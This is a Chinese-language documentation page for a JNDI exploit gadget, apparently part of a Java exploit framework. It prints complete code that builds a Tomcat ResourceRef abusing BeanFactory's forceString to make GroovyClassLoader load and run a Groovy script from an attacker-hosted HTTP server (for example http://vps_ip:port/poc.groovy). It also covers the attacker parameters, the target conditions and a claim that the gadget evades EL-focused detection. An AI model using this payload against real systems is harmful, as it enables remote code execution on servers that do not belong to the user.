Skip to content

Latest commit

 

History

History
60 lines (50 loc) · 4.55 KB

File metadata and controls

60 lines (50 loc) · 4.55 KB

Groovy RCE2(GroovyClassLoaderRef)

  • 类别:jndi 别名:— 优先级:50
  • 作者:—
  • 依赖tomcatorg.apache.naming.factory.BeanFactory / ResourceRef)、org.codehaus.groovy:groovy

作用

构造一个 Tomcat org.apache.naming.ResourceRef,借 org.apache.naming.factory.BeanFactoryforceString 特性,对 groovy.lang.GroovyClassLoader 依次调用两个单 String 参数方法:addClasspath(url)loadClass(name)。前者把攻击者的 HTTP 地址加入 classpath,后者远程加载并解析 <name>.groovy 脚本,从而在受害端 JNDI lookup 时执行任意 Groovy 表达式(RCE)。是一条自包含的 JNDI Reference 终端链(END),无需内层 gadget。

链接标签

  • 入口 tagsResourceRefTomcatBeanFactoryEND
    • ResourceRef —— 本 gadget 产出的是 Tomcat 的 ResourceRefReference 子类),供上游 JNDI 注入入口 lookup。
    • TomcatBeanFactory —— 标明其利用面依赖 Tomcat 的 BeanFactoryforceString 任意方法调用)。
    • END —— 终端构件,自身即可完成利用,链在此终止。
  • 衔接 nextTags:无(END,不再接下一环)。
  • excludes:无。

源码剖析

本类 implements Gadget,无基类。getObject 一次性构造完整 ResourceRef:

public Reference getObject() throws Exception {
    ResourceRef ref = new ResourceRef("groovy.lang.GroovyClassLoader", null, "", "",
                                      true, "org.apache.naming.factory.BeanFactory", null);
    ref.add((RefAddr)new StringRefAddr("forceString", "a=addClasspath,b=loadClass"));
    ref.add((RefAddr)new StringRefAddr("a", this.url));
    ref.add((RefAddr)new StringRefAddr("b", this.name));
    return ref;
}
  • ResourceRef 构造:className="groovy.lang.GroovyClassLoader"(BeanFactory 将实例化的 bean 类)、factory="org.apache.naming.factory.BeanFactory"。lookup 时 BeanFactory 会 Class.forName("groovy.lang.GroovyClassLoader").newInstance() 得到一个 GroovyClassLoader 实例。
  • forceString 是 Tomcat BeanFactory 的核心可利用点:其值 "a=addClasspath,b=loadClass" 声明「属性名 a 对应的 setter 用方法 addClasspath、属性名 b 对应 loadClass」。BeanFactory 原本只按 JavaBean setter 注入,forceString 让它改为反射调用任意单 String 参数方法
  • 于是注入阶段等价于:gcl.addClasspath(this.url) → 把攻击者 HTTP 服务器(如 http://vps:port/)加入 GroovyClassLoader 的 classpath;再 gcl.loadClass(this.name) → 从该 classpath 远程拉取并加载 <name>.groovy。Groovy 脚本被加载/初始化时其顶层代码(或静态块)即执行,达成任意 Groovy/命令执行。
  • 属性 a/b 的实际取值分别绑定用户参数 urlname
@Override
public Object invoke(GadgetContext context, GadgetChain chain) throws Exception {
    return this.getObject();
}
  • invoke 不调用 chain.doCreate —— 印证 END 语义:自包含终端,不依赖内层 gadget,直接返回构造好的 ResourceRef。

参数(@Param)

字段 名称 说明 默认 可选值
url http地址 攻击者托管 Groovy 脚本的 HTTP 根地址,如 http://vps_ip:port/;作为 addClasspath 的参数 任意 URL
name script file name 脚本名(不含扩展名),如 poc,将请求 http://vps_ip:port/poc.groovy;作为 loadClass 的参数 任意脚本名

适用版本与原理要点

  • 需目标同时具备:Tomcat 的 org.apache.naming.factory.BeanFactory(且未修复 forceString 任意方法调用;高版本 Tomcat 已收敛该行为)与 org.codehaus.groovy:groovy(提供 GroovyClassLoader)。
  • 名为「Groovy RCE2」,是相对经典 EL/BeanFactory 利用的 Groovy 变体:不走 EL 表达式,而是用 GroovyClassLoader 的 addClasspath+loadClass 组合远程加载脚本,绕过部分只针对 EL 的检测。
  • 与 dbcp/Druid 系列不同,它不经 JDBC,直接在 JNDI lookup 阶段完成 RCE,故为 END 终端。

所属预设链

自由构件,未直接出现在 51 条预设链中(usedInChains 为空)。

关联

  • 上游(消费 tags=ResourceRef / TomcatBeanFactory):JNDI 注入 Payload 入口 / LDAP、RMI Reference 返回场景。
  • 同族(同为 Tomcat BeanFactory + 表达式/远程加载的 JNDI Reference 构件):TomcatElRef(EL 表达式变体)、BeanshellRefexpression 目录下的 Reference 构件。